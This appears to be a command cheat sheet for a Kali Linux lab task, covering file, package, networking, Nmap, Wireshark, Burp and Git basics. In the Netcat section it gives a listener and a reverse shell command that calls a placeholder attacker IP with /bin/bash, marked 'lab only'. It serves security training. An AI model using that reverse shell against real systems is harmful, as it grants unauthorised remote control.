

Command Cheat Sheet - Task 1 (Kali / Lab Setup / Basic Tools)

System / File Operations

pwd - show current directory

ls -la - list files (show hidden & permissions)

cd /path/to/dir - change directory

mkdir demo_dir - create directory

touch file.txt - create empty file

echo "text" > file.txt - write text to file

cat file.txt - show file contents

less file.txt - view file with paging

cp src dest - copy file

mv src dest - move / rename file

rm file - remove file

rm -r folder - remove folder recursively

Permissions & Ownership

ls -l file - view permissions & owner

chmod 644 file - set file permissions

chmod 755 script.sh - make executable

sudo chown user:group file - change ownership

Package Management (APT)

sudo apt update - refresh package list

sudo apt full-upgrade -y - upgrade packages

sudo apt install pkgname -y - install package

sudo apt remove pkgname -y - remove package

sudo apt --fix-broken install - fix broken dependencies

sudo apt clean - remove cached packages

sudo apt autoremove -y - remove unused packages

Networking Basics

ip a - show interfaces

ping -c 4 8.8.8.8 - test connectivity

ping -c 4 google.com - test DNS

sudo ip link set eth0 up - enable interface

sudo dhclient -v eth0 - request IP from DHCP

Nmap (Scanning)

nmap -sn 192.168.56.0/24 - discover hosts

sudo nmap -sS -sV -O <target_IP> - TCP scan with version & OS detection

sudo nmap -sU <target_IP> - UDP scan

Wireshark / Burp Suite / Netcat

sudo wireshark - launch GUI

sudo tshark -i eth1 -w capture.pcap - capture packets CLI

burpsuite - start Burp Suite

nc -lvp 4444 - start listener (lab only)

nc <attacker_IP> 4444 -e /bin/bash - reverse shell (lab only)

Git & GitHub

git init - initialize repository

git add . - add all files

git commit -m "Initial commit" - commit changes

git remote add origin <repo_url> - link remote

git branch -M main - rename branch

git push -u origin main - push files to GitHub